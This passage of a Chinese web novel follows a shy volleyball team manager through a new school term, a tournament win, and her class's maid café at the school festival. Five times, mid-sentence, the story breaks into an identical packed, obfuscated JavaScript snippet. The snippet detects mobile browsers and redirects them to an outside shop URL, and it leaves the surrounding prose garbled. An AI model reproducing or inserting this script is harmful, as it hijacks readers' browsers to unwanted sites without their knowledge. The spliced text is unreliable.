“……就是饱了！” “？你自己都心虚了。” “……哼。”我撇嘴。 50. 五十个小岛 开学前只单纯训练的一段时间很快过去，我正式迎来了高一全新的第二个学期。 原本清闲的、没什么事情的日子一去不复返，加重的课业和社团活动都还好说，课程虽然比之前难了不少，但对我而言不算困难；社团活动也有排球部里的前辈们帮忙，我应付地不算困难，度过前面比较艰辛的一段时间后倒也还算适应。 但真正让我困扰的并不是这些我早有预料的东西，而是别的一些什么。 原本在班里默默无闻除了灰羽之外和其他人几乎是零交流的状态不知何时突然被打破，没什么交集的同学不知道从哪一天开始仿佛变了个人似的，一切都让我感觉有点陌生。 先是找我问不会的题目（刚想拒绝的时候抬头一看发现他们特别诚恳地在征求我的意见的时候就开不了口了，感觉拒绝的话会莫名有些负罪感……而且对我来说也不是什么很难解决的问题就答应了），后面还会在空闲的时候找我聊天（依旧没好意思拒绝……），回过神来的时候走在路上都会被眼熟的人打招呼了…… ……怎么变成这样的。 我几乎是有点荒谬地这么想。 不过真要说的话好像也没有那么抗拒……虽然最开始的时候还是有点不太适应就是了。 但……是好的变化。 家政课被第一个找我问题也是第一个找我聊天的女孩子拉走组队、从高中开学到现在终于拿了一次满分（虽然是靠其他人拿的但满分就是满分），我看了看成绩，又远远看了眼原来的家政课搭档灰羽朝我比出的大拇指，不自觉抿起嘴唇，半晌，情不自禁地弯了弯唇角。 是好的变化。 # 现在的音驹在东京内算不上顶尖的那一批，但姑且也是算得上有名的、实力不弱的几支队伍之一，春高预选的前两场比赛都还算漂亮地赢了下来，顺利进入预选赛八强。 之后再赢一场比赛将八强淘汰至四强就算进入决胜局，两两分组，赢者拿到春高全国赛的入场券。除此之外，因为这次春高的举办地是东京，所以失败的两支队伍还要再打一轮，来选出代表举办地出赛的队伍。 我不大清楚教练们是怎么个安排，但据研磨前辈所说，我们有机会争的不出意外只有举办地多出的那个参赛名额。 毕竟东京还有两个实力拔尖的学校来着，音驹不管是对上井闼山还是枭谷都胜率渺茫，能争的也仅有全国大赛的入场券。 但就算多一个名额也绝对是一场硬仗……毕竟能从东京几百支队伍中打到决赛圈的队伍可都不可能是什么善茬。 因为这个，排球部的大家自开学以来就没怎么放松过，每天的训练时间逐渐向后顺延，再加上东京现在已经逐渐进入秋季，白昼的持续时间便不再如夏天那般长，下训的时候天都黑得差不多了。 将其和前几个月第一次放学路上见他们放学时的天色一比，差距就莫名地更显著了点。偶尔走在路上看着稍微有些昏暗的街道，我甚至会在某一刻突然感慨地有点恍如隔世的感觉。 毕竟从上学开始到几个月前我过的都是加入归宅部然后放学直接回家的生活来着，很正常。 啊……话题扯远了。 我想说的除了关于我自己生活和排球部的变化之外，其实还有另一件事情来着。 ——文化祭快到了，将近九月末，时间差不多在两周后吧，因为是向外界人士开放的活动，所以定在了周末，应该是为了宣传一下学校什么的。 的确是很方便的时间点。 全校的学生都陆陆续续地开始文化祭的准备工作，我们排球部定项目定得比较早，在其他社团还没订下活动内容之前就已经把申请经费的申请单交上去了。 因为要准备比赛的缘故，所以大家都没有做太费时的摊位的打算，商量了一下，结合排球的元素准备了一个游戏。在其中半边场画了九宫格，两百日元换三次发球的机会，玩之前抽签选出一个区域，发出的三球中有球落进那块区域就可以从摊位上拿奖品。 一球是一个书签、两球是两个书签/一个书签＋一瓶运动饮料、三球则可以选一个毛绒公仔（或者也可以换成书签和运动饮料）。 确定之前还专门把我这个只学过垫球跟零基础区别不大的经理捞去实验了一下，确定不至于零基础都能指哪打哪把我们整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309400|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亏本后才放心下来。 啊，当然，排球部其他人还是可以做到的，所以我们专门准备了写着“外校排球部选手收双倍费用并仅限一次”的牌子，准备到时候挂到摊位最显眼的地方。 双倍费用刚好比奖品的价格稍微高一点，不至于亏本。 总之，排球部关于文化祭的事情解决好之后我便没有在经费下来之前继续关注这事的打算，直到班长组织着大家商量我们班自己的活动时才突然想起除了社团每个班级也都要准备活动。 下课准备去参加部活时突然被叫住，我抬头看着正在讲台上询问大家的意见准备后续投票决定的班长，再低头瞧瞧已经收拾好东西准备直接走人的自己，不禁视线飘忽了一瞬，莫名有点心虚，“……” 默默把包放回原位，我老老实实坐回去，准备参与一下班级的文化祭活动的选举。 反正跟我大概没什么关系的吧……之前都是这样的。 这么想着，听着大家吵吵闹闹地提意见，我没什么参与感地低下头，摸出手机看了看消息，发现没有，便切了出去，想了想，点进ins。 上次游乐园发了一篇之后就没再想起来上线了……看看有没有消息。 我的ins一直有开仅好友可看，再加上好友其实只有两个哥哥，所以其实也可以算是隐晦地报备一下最近的生活这样……不然他们会担心。 点赞就代表看到了，因为知道我不怎么看ins，所以阵平哥他们都不评论，有什么事情就直接给我发消息。 这么想着，我点开ins，率先看了眼消息栏——喔，赞了，两个。 那就是看到了。 好，不用再看了。 临走前习惯性给研二哥的动态逐一点了个赞，再专门点进阵平哥的主页，确定他没发ins之后才退出软件，随即抬头，下意识想看一眼现在的状况——声音没那么大了，应该是都说的差不多准备投票了吧。 抬头看向黑板上整整齐齐排列出来的七八个摊位名，我下意识扫过一眼，直到全部看完才慢半拍意识到自己看到了什么，不禁微微一顿。 ……女仆咖啡厅？ 51. 第五十一个小岛 ……玩这么大吗？ 我不自觉有点震撼地想着，下意识挪了挪视线，看向其他几个选项。 鬼屋、占卜屋、甜品摊（提拉米苏）、小吃摊（可丽饼）、自助巧克力瀑布和苹果糖……在一众正常的摊位中女仆咖啡厅显得格外突兀。 ……这是我们班的谁提议的啊，女生吗？ 最先冒出这么个念头，我沉思两秒，拿起刚放下的手机，给可能认真旁听参与了的灰羽发了两条消息。 【游：灰羽】 【游：那个女仆咖啡厅是谁提议的啊】 前方被灰羽放在桌子上的手机连带着桌子发出两声嗡鸣，我察觉他已经拿起了手机，便耐心地等他回的消息。 信息很快已读，没两秒，灰羽噼里啪啦地打字过来。 【灰羽：那个是藤原报的】 【灰羽：她说女仆咖啡厅顾名思义就要让所有人都变成女仆，叫全班所有人不管男女都给她穿上女仆装】 【灰羽：她说的时候还往我们这边看了一眼！】 【灰羽：为什么要朝我们这看啊，好恐怖！！】 灰羽还在叽里咕噜地吐槽，这边，我已经看着最后两句话微微沉默了两秒——配上最后那句话，那个不管男女指的不会就是灰羽吧。 毕竟就事实而言，灰羽其实还挺受欢迎的，个子很高，长得也好看，因为身上那一半俄罗斯血统还带点混血感，不张嘴暴露本性的时候是个实打实的池面，人气挺高。 如果真的是这样的话……这种受欢迎最后导致的结果竟然是想办法让灰羽穿女仆装吗？ ……好奇怪的恶趣味。 就这么头脑风暴着拿到了班长发下来的一小块白纸，我低头看两眼，听她将投票的方式和规则。 说是每个人都有一票，不能多投、也不能弃票，最后得票最多的第一名就是我们这次的活动。 除此之外还是实名制，说是要公平公正公开，不能有任何黑幕的可能。 我对此没什么意见，只是再次抬头看了眼，对着上面的几个活动琢磨了两秒，选择给自助巧克力瀑布＋苹果糖投了一票。 因为感觉这种自助类的摊位工作会比较少来着，只需要准备足量的食材就好了，剩下的可以让顾客自己制作。 ——毕竟还有排球部那边事情要忙来着，如果这里需要干的事情很多的话就有可能会耽误到那边的事情……我不想要这样。 ……不过最后的结果不是我想什么就可以有什么的。 可能是选项太多，大家都有各自的偏好，所以全班三十多个人这么分下来，有些活动甚至只有零星的一两票或者三四张票，也就看起来比较有意思的鬼屋占卜屋票多一点。 ……虽然还是没比过女仆咖啡厅就是了，女仆咖啡厅以碾压大部分活动、高鬼屋一票高占卜屋两票的八票赢得了最后的胜利。 我完全没懂女仆咖啡厅这种会让所有人一起穿上女仆装的活动是怎么得到最多的票的，他们男生没可能投这个活动啊，看看灰羽，他就在为自己即将穿上女仆装而破防（虽然只有一点点就是了，少到我怀疑他刚穿上两秒就可以完全适应，但有就是有）。 我稍微象征性地同情了他两秒，就没有丝毫留恋地提起包、起身、准备去参加部活。 已经起码比平时晚了二十多分钟了，虽然有跟夜久前辈说过因为班级要决定文化祭活动所以会晚点到，但我还是不想真的太晚过去。 也不是说会有负罪感什么……我说不太上来是个什么感觉，反正就是不想太晚到。 这么想着，我稍微加快了脚步。 # “欸欸？所以小游你们班的活动是全员女仆装的咖啡厅吗？”得到我的答案，犬冈顿了顿，随即迅速发现盲点，“那岂不是列夫也要穿？” “啊……应该是吧，他们应该会叫灰羽去门口吸引别人来我们班，毕竟他穿上女仆装应该会有很大反差。”闻言，我沉思两秒，下意识四处张望了一圈，确定灰羽目前还跟着夜久前辈进行接球训练、没注意到我们这边的动静，才无端有点心虚地小声而快速地说。 犬冈不明所以，但还是跟着我一起压低了声音，“那小游你呢？不是服务生的话应该不需要穿吧？” “唔……”我也有点不确定，“我也不知道，不过应该也是要的。” 我语气平静地指出，“那些要穿的被选上当服务生的男生会闹着让后勤也穿上。” 犬冈陷入微妙沉默，“这倒也是……” 他很快揭过这一茬，又抬头自己亲自左顾右盼了一番，随即重新低下头，小声地道：“小游到时候记得跟我说一下列夫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309401|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值班时间！那家伙肯定不愿意跟我说。” 我沉默两秒，多少有点不明所以，“……犬冈，你要他的值班时间干什么？” “去围观一下啊，”犬冈理直气壮地表达了他想看朋友笑话的心情，“这可是女装欸，还是女仆装！” 我没太懂女仆装有什么特别的，不禁有点迷惑地看了看兀自兴致勃勃起来了的犬冈。 选择性沉默了一会儿，我又自己琢磨了两秒，感觉没经过灰羽本人同意就主动把朋友带来看他热闹不太好，就暗戳戳转移话题地反问，“犬冈，你们班的活动是什么啊？” 犬冈毫无察觉地被我转移走了注意力，“我们吗？我们还没完全确定欸，不过最后应该是可丽饼或者章鱼烧二选一。” “两个差别好大哦。”我若有所思地道，“不过我两个都有点想吃……到时候我会去捧场的。” 犬冈很爽快地应下，“当然没问题！肯定能让你满意的啦，我们内定的厨师厨艺可是很好的！” 我重点一歪，“已经定好厨师但还没定具体做什么吗？” 犬冈：“因为就是从桥本擅长的料理中选一个做摊位的——哦，桥本就是我们班的厨师。” 他语气赞叹：“他做的料理真的很好吃。” “如果最后是章鱼烧的话请带我一个。”旁听的芝山暗戳戳举起手，“我也想尝尝，犬冈从上个学期开始就偶尔会提到那位桥本同学的手艺了。” “那我也去吧。”手白也沉思两秒，接话，“犬冈的确有说过，稍微有点好奇。” 犬冈一一应下，“当然可以，肯定不会让你们失望的！” 终于被夜久前辈放过得以结束训练的灰羽刚一过来就听到代表话题结束的话，不禁急急忙忙地开始抗议：“你们在说什么？快跟我说说，我也要听！” 我长话短说且避重就轻，“我们文化祭要去犬冈他们班的摊位尝尝桥本同学的手艺，灰羽你要去吗？” “要去！是我们所有人一起去吗？”灰羽毫不犹豫地应下，随即兴致勃勃地问。 我不确定到时候会不会有其他安排，于是犹豫了会儿，给了个中立的答案，“到时候再说吧，没准我们排班会撞到一起。” 灰羽被我说服了，“好！那就到时候再看！” 我应了声，“好。” 52. 第五十二个小岛 定下班级的具体活动后所需要做的就只有等待，等学校把经费批下来就可以正式开始对文化祭的准备。 目前的分工都还没有定下来，毕竟还不太确定最后批下来的经费到底够不够、能不能支撑整个计划的运行，所以不能太操之过急。 排球部也是这样，总之，文化祭的事情短暂过去后，我们便将精力投到了这周末的比赛上。 只有一天，上午一场十六进八下午场八进四，之后便正式进入决胜局。不过让我稍微有点费解的是最后的代理决赛战得到十一月中旬，跟上一场隔了将近两个月。 不过听猫又教练说往年都是这样来着……那好吧。 依旧还有些摸不着头脑，但我很快便不再纠结地放下疑问，转而将注意力投入到即将到来的比赛上。 不过真要说起来……我其实没有很紧张来着。 虽然的确有一点氛围上的紧迫感，但真要说紧张的话其实没有多少。 努力不会辜负任何一个人。 大家为了春高准备了那么久，训练时间和强度都一直在往上加，还有好些人下训回家之后也会继续加训——我全部、全部都看到了。 努力不会辜负任何一个人、努力不能辜负任何一个人。 音驹会进全国的。 我始终坚信着这一点。 ——的确赢了。 广播播报的“音驹高校以2:1的比分获胜、晋级四强”机械声音混杂着热烈的欢呼声响在耳侧，我跟教练一起站在场边，看上场的大家列队、鞠躬，再带着满身汗地笑着跑回来。 “接下来就是十一月的决胜局了。”猫又教练笑着道，随即偏了偏头，转头看向我，语气温和而平静地开口，“会紧张吗？小游？” “……会吧。”我被问地一顿，不禁下意识想了想，感受着胸腔中炽烈跳动着的心脏，半晌，忍不住抿起一个笑来，“但我们会赢的，猫又教练。” 猫又教练忍不住失笑，“倒是很笃定呢，小游。” 我正被小茜在观众席上朝我大幅度招手的动静吸引了视线，闻言一边抬手回应我们音驹的拉拉队队长，一边轻声回道：“因为我相信大家。” 相信所有人被问起“会不会赢”时回答的那句无一例外的“会赢”。 会赢的，就像之前每一次的那样。 # 比赛结束后的一周训练暂时缓了下来，排球部申请的经费在比赛结束后的第二天就批了下来，我们刚从紧张的比赛氛围中稍稍松懈了点下来，便转头投入到文化祭的准备工作中。 采购材料再制作，还需要准备摊位上的牌子什么的，不算什么大工程，排球部所有人一两天就可以全部解决的程度，但都小而琐碎，有点麻烦，但在众人一起的努力和合理的分工下进展倒也算顺利。 我和芝山被分去做摊位上的牌子，板子是已经裁好了的，只需要用颜料把图案和文字画上去就好。 不过虽然说着简单……但我们两个其实都是不大擅长绘画的类型来着，两个人对着板子面面相觑了一会儿，最后紧急上网搜了模板。 照葫芦画瓢地用铅笔打了型、然后开始摸索着上色，我看着逐渐成型的牌子，终于松下有点紧绷的神经。 “差点以为会搞砸……吓我一跳。”我心有余悸地这么说。 芝山跟我状态没什么差别，“我也是……还好最后没出什么问题。” 可能是突然被打破了安静的氛围，芝山话落后顿了顿，重新找了个话题，问道：“小游，文化祭你家里人会来吗？” 我没想到会在这种时刻提到家人，不由自主地愣了一下，随即下意识反问，“文化祭一定要家人来吗？” 芝山：“欸？没有没有，只是之前跟犬冈他们聊天的时候他们都有提到说家里的妹妹和姐姐会来参观，所以想也问一下你。” 我若有所思地“喔”了声。 说起家人……一定要说出个什么的话，也只有阵平哥和研二哥他们两个吧。 啊，这么说起来的话，好像还没跟他们提过文化祭的事情……不过他们警校没毕业还处于封闭式训练，也不一定能来就是了。 待会说一声吧。 这么想着，我一边恍然大悟地放下画笔、摸出手机，准备给两个哥哥发消息，一边回答芝山的话，“我忘了跟我哥哥说了……不过他们也不一定能来就是了。” 芝山发散思维，随口问道：“是因为工作太忙吗？我爸爸也因为出差没法来参观我的文化祭来着……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309402|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那倒也不是，”我点开阵平哥的聊天框，一边琢磨着措辞，一边回道，“我哥哥他们警校还没毕业来着，我不太确定他们周末会不会放假……应该会的吧。” 顿了顿，我突然犹豫起来：就算不放假，研二哥他也会拖着阵平哥说什么，小绘难得参加一次文化祭就算请假也会来，然后就真的请假来的吧……文化祭倒也不是什么一定要参加的东西，请假来不值当。 于是我删掉原本打下的直白邀请他们参加文化祭的文字，转而改成委婉一点的措辞。 【游：阵平哥，你们这周末放假吗？】 没打算等阵平哥的消息、毕竟他们上学好像要收手机还是什么的，我于是准备将手机重新放回去，却突然听见芝山微微拔高的、有些惊讶的声音，“小游你哥哥原来是警察吗？好厉害。” 我慢半拍地冒出一个问号，“……啊？谢谢？” 芝山看起来对警察的职业怀抱着莫名的一种滤镜，他看起来整个人都激动不少，我稍微有点不明所以地看了他两秒，没懂，再加上余光瞥见手机屏幕顶端弹出的弹窗，便下意识低头看去。 阵平哥回消息回得很快——他怎么和研二哥一模一样，研二哥前几个月也回消息回得特别快。 我腹议两声，重新点开聊天框。 【阵平哥：？】 【阵平哥：怎么突然问这个】 【阵平哥：想来找我们玩？】 【阵平哥：可以，来的时候记得说声，我去车站接你】 【阵平哥：我带你去警校附近的居酒屋吃饭，那里的烧鸟很好吃】 一条接一条的消息接连不断地跳出来，我已经习惯了阵平哥发消息的方式，只眼疾手快地敲了一行【不是】过去。 对面终于安静了。我接着打字。 【游：所以是有时间的对吧？】 【阵平哥：有】 【游：音驹周末有文化祭】 【游：你和研二哥有空的话可以来看看……不过不一定会很有趣就是了】 顿了顿，我犹豫了一会儿，又补了一句。 【游：有要好的朋友也可以一起带来】 ……因为我也有点想趁这个机会给他们介绍一下排球部的大家、来着。 53. 第五十三个小岛 阵平哥这回过了好久才回了我一句很简单的【好】。 我盯着屏幕看了两秒，无端从这个单字中看出了一股子咬牙切齿的不情愿感。 ……错觉吧？ 我犹疑地这么想。 阵平哥不愿意的话一向是会直接拒绝的，应该不是不想来但碍于我的面子所以才答应的……吧？ 虽然感觉阵平哥的形象不太干得出这种事、但我从小到大向他提出的请求几乎都没有被拒绝过来着……这么一想总感觉也不是不可能。 我有点忧心忡忡地想了一会儿，犹豫了一会儿，敲了一行字发给他。 【游：阵平哥，不想来也没关系的】 【游：不用勉强自己】 这回对面回得奇快。 【阵平哥：没有】 【阵平哥：我想来】 【阵平哥：为什么会这么想？】 【游：……因为你看起来不太情愿的样子？】 【阵平哥：……】 【阵平哥：不是对你，没有不想去】 啊……既然不是因为不想来，那是因为什么？ 我下意识往上翻了翻聊天记录，瞥到某个词时微微一顿 ……是不想带朋友吗？那也没关系，他们两个能来就已经很好了。 还在纠结着怎么整理措辞让阵平哥他们不要有压力，对面就再发了一条消息过来。 阵平哥像会读心——【也没有不想叫朋友来，别多想】 【只是你没问题吗？】 看着新弹出来的消息，我稍微有点茫然。 我吗？ ……我能有什么问题？ 盯着手机屏幕懵了一会儿，我突然想起点什么。 ……哦、对，他们上警校之前、我还是那种完全不能接受和陌生人有任何一点交流的类型的人来着。 但现在……好像已经不一样了。 在路上被叫住问路不再会那么慌乱，而是可以平静地思考后给出路线、又或者是不知道路的抱歉。 不再害怕欠下人情后需要的人情往来，也不再对去到陌生的地方而感到恐惧。 虽然还是做不到主动去找别人搭话、被很多人注意的时候还是会感到紧张—— 但不一样了。 这半年的时间……让我变得和原本的我不一样了。 直至现在，我才突然后知后觉地意识到这一点。 ……而且并不是令人讨厌的改变。 我动了动手指，半晌，带着点隐约的、莫名的情绪，对着屏幕对面的人打下一行字。 【没问题的，哥哥】 【不会再有问题了】 我不自觉弯了弯眼睛，半晌，由衷地、有点感慨想。 ……你们也会为我感到开心的吧，哥哥。 ＃ 文化祭上排球部的准备工作结束后没两天，班级的准备工作便也跟着来了。 我本来打算跟往年一样申请后勤工作，比如提前几天的布置场地的工作或者后勤的工作，但在我开口之前，班长率先将不知道什么时候排好的分工与排班贴到了黑板上。 提前几天的场地布置工作由全班所有人一起分批完成，分工明确，力气大的同学去搬东西、力气小但手巧的同学制作装点教室的配饰，而我这种力气小家政课手工课也都是不及格的人则被派去摆装饰，比如给桌子铺上漂亮的桌布、摆上装饰和买来的假花（本来想买真花的，但最后为了租衣服耗空大半的资金实在有限，就干脆买了假花，反正也看不太出来区别）。 至于文化祭当天的工作则是直接所有人一起排班，手艺好的被派去后厨，手艺不好的就赶去当服务生或者去门口揽客（？），总之没人可以闲着。 不过……虽然说看到这个排班是按手艺分的那一刻我就有一种莫名且不祥的预感（毕竟我厨艺真的很烂，不管是做菜还是做甜品都很难吃），但看到我的名字出现在服务生的那一栏的时候，我还是不自觉地有点窒息。 同为排球部所以被班长一起体贴地分到上午同一时间值班的灰羽转头看了看我，虽然完全没懂我在窒息什么但还是很好心肠地拍了拍我的肩膀，安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309403|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰，“没关系小游，我们所有人都得穿女仆装，不是只有你一个人。” ——最后经过其他被派到前台的男生的抗议，就算是不会露面的厨师和后勤也都套上了简单的“工作服”，没我们在外面露面的人穿的衣服精致，但姑且是条裙子。 我听着灰羽的话不自觉默了两秒，“……我没有在担心这个。” “那是因为值班时间太长了？虽然一个半小时是有点长，但我们人少的话一组人可以轮换的，安啦安啦。”灰羽摸着下巴想了想，突然悟了点什么，继续安慰我。 “我也没有在担心这个……不过仔细想想，其实感觉也没什么。”闻言，我先是有点一言难尽地看了灰羽一眼，但随即又顿了顿，沉默着思考了一会儿，才有点犹豫而不确定地补上后半句话。 因为仔细想想，虽然即将面对的是在两个小时内都要跟陌生人交流的处境，但下意识代入了一下……又感觉好像也没有最开始那样激烈的排斥。 ……只是下意识地有点条件反射的窒息而已。 感觉真要说起来的话也没有什么绝对不能接受的雷点……毕竟工作只有点菜上菜，而且文化祭来的人大部分都是本校的学生和家长，除此之外就是其他学校的高中生大学生，并不会出现什么蛮不讲理的人。 虽然这样，但我多少还是有点紧张地琢磨了一会儿，下意识在心里碎碎念着列出所有可能发生的情况后挨个代入了一下，虽然有些还是有点接受不能，但我最终姑且还是微微松了口气。 “没事，我可以的。”我这么安慰自己。 灰羽没理解我沉默的这一会儿在干什么、又是想了什么东西才突然冒出这么一句话，但他转头看我两眼，又沉思了一会儿，觉得这其实也不是很重要。 毕竟小游明显没刚刚那么紧张了嘛，大概是突然想通了吧？ 他乐观地猜测。 ——总之，忽略掉这些无关紧要的小插曲，正式开始前的准备工作正式告一段落、进入尾声。 再经过一个晚上，准备了快一个月的文化祭终于要正式开始了。 54. 第五十四个小岛 学校被装点得某种程度上甚至有点陌生。 四处拉起的彩带、挂上的氛围灯、广播放着的欢快的音乐、行走在校园中的服饰各异的人们——跟往常的音驹截然不同、格外热闹。 班级的摊位布置在昨天放学时就已经彻底搞定了，排球部的摊位则是下午一点才开始。 我自己算了算。 上午的值班是九点到十点半，结束的时候阵平哥研二哥他们应该也到了，可以一起去逛逛看有什么吃的（不过他们跟朋友一起来的话我是不是不太好参与……算了到时候随机应变吧）。 十二点的时候跟他们分开、去排球部布置场地，再轮班，时间应该差不多刚好。 我便没专门提前去，只卡着排班的时间提前早到了半个小时，跟早到提前逛了一圈学校所有摊位现在才回来的灰羽打了个招呼，就带着工作服钻进更衣室、换好、出来，再跟灰羽一起被负责形象管理的同学拖走去重新理了一遍衣服和配套的发饰，还被按着往脸上贴了几个贴纸。 我对着镜子看了看自己眼下多出来的几颗钻，再回头看了看同样在眼下粘了几颗钻的灰羽，没看懂有什么区别。 灰羽被我吸引过来，也跟着一起看了看镜子。 他对着镜子若有所思地盯了一会儿，回头，问正抱臂站在后面盯着我俩的藤原，“藤原，贴这个有什么用啊？” 藤原“哦”了声：“没什么用，但是我手边刚好多了之前化妆用剩下的水钻，不贴白不贴。” 说着，她拍了一下因为不习惯戴喀秋莎而下意识扒拉的灰羽，“别老动头发，花边不小心被压下去了会不好看。” “……” 闻言，我顿了顿，默默将刚准备把膈到耳骨的发箍的手收了回来，假装什么都没发生地老老实实双手交叠放到腿上。 灰羽“欸”了声，“但是感觉很奇怪啊，而且后面有耳朵的话不会把花边压倒吧——话说为什么最后不光要穿女仆装还要带兽耳啊，还是猫耳朵。” “因为是音驹（nekoma）啊，当然要选猫（neko）了。”藤原先避重就轻地回答了后一个问题，才继续道，“就算花边不会被压到你动来动去头发也会乱，不好看。” 闻言，我下意识转头，抬眼看了看灰羽，不禁沉默了两秒，弱弱地插话，“……应该也没什么人看得到灰羽的头顶吧。” 差不多一米九五的身高……除非他主动蹲下，否则应该没什么人能看见他的头顶的。 藤原跟着我转头看了灰羽一眼，也情不自禁地沉默了。 “……算了，”藤原最后还是妥协了，只是临走前还是忍不住又叮嘱了一遍，“你们男生裙子短，虽然里面穿了运动裤但还是动作小心一点，别跟平时一样那么豪放。” ——啊，是的，我们男生女生穿的女仆装不是同一款来着。 男生穿的是短款的、大概到膝盖上一点点，女生则是到小腿的长款。 不过不管长款短款都被藤原和班长一起勒令一定要在里面穿打底裤就是了（没有就穿运动裤）。 除此之外衣服还分长袖短袖，但大概款式都是一样的，黑底短袖裙子和白色衬衫领口，围裙也是白色的，上端很高、最多能把领结完整地露出来，肩膀和围裙边缘都有荷叶边，跟裙子齐长。 领结是统一的深蓝色（不过也可以带自己的领结），头饰是唯一一个款式很多的、几乎没有重复。 别的就没了，鞋袜都自己穿自己的，我因为后面还有排球部的活动就干脆穿了运动鞋——反正文化祭进教学楼不用换室内鞋，不穿白不穿，还舒服。 灰羽面上很认真地连连点头，但转头就毫不犹豫地夺门而出，留藤原看着他的背影深吸一口气、看起来无语地不轻。 我觉得此地不宜久留，就跟藤原打了声招呼，也溜了。 一路摸进一年三组已经临时改装成咖啡厅的教室，我穿过用餐区，刚在厨房门口探头朝里看了看，就被眼见的同学发现了，然后被拉进去当了壮丁。 同学言之凿凿，“反正外面人少，小岛游你就先来这里帮一下忙嘛，有些料理可是需要提前做的！” 我低头看看自己正在做的捣碎饼干的活，再抬头看看同学真诚的脸，默默打出一个问号，“？” ……算了，反正来的人应该不会太多来着。 # 猜错了，最后来的人比想象中多很多……可能是因为女仆装导致了一些很奇怪的连锁反应。 这事说起来其实会比较复杂……怎么说呢。 因为运动社团的摊位开始的时间都在下午，所以为了照顾我们这些下午要去摊位帮忙的运动社团的成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309404|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员，班长其实是按着全班的社团统计表分的排班，将所有体育社团的人都排在了上午。 其中又是男生居多，女生只占了三成。 嗯……怎么说呢。 虽然灰羽穿短款女仆装挺好看，但不是所有人都是灰羽。 大部分人没长这么高、也不像灰羽高中才参加运动社团所以没来得及增肌而整个人瘦成一长条，他们大部分人看着多少都有点壮，穿上露腿的那种短款女仆装……其实说不上多好看。 ……不是说难看的意思，但多少会有不止一点的违和感…… 总之，我们其实大部人都觉得早上的客流量不会很大的。 ……毕竟是一眼望进去大部分都是肌肉男的女仆咖啡厅来着。 ——但我们的猜测不能算错，毕竟最后来的人大部分都不是客人。 ……我们只能说是低估了他们看好友热闹的决心。 所有、几乎是所有认识我们班男生的人听闻一年三组的女仆咖啡厅里全是女仆（包括男生）后都按耐不住看热闹的心，纷纷不远万里地千里迢迢来咖啡厅门口探头探脑地瞧，指望能看到什么可以用来嘲笑好友的东西。 有看到自己认识的人的毫不犹豫进店嘲笑，然后被嘲笑对象黑着脸宰了一笔、用空空的钱包换来了对方的丑照和黑历史；没看到自己认识的人的也看热闹不嫌事大地进店、买了点东西就坐下准备看现场漫才。 咖啡厅一时间人数爆满、营业额也一路飙升。后厨忙成陀螺，我们几个少数的女生则目瞪口呆且欲言又止地看着其他男生被客人起哄着给他们服务，最后发现真正的女仆完全没有用武之地，便面面相觑一会儿，转头钻进后厨帮忙。 班长坐在收银台数钱，半晌，精神有点恍惚地说：“……我真的只是好心，想着他们下午还有社团的活动要忙，所以才把他们安排在上午的。” 因为后厨人太多不方便、所以经大家综合评估因手艺太差被赶出来腾地方的我闻言沉默了两秒：“……好歹的确有很多客人对吧。” 班长没回话，只是颤着手把钱放下，转头，语气颤抖地问我：“绘酱，如果我被暗杀了、你愿意帮我收尸吗？” 我：“……振作一点，班长。” ——而且倒是不要在这种时候突然叫得这么亲密啊，搞得我压力好大。 55. 第五十五个小岛 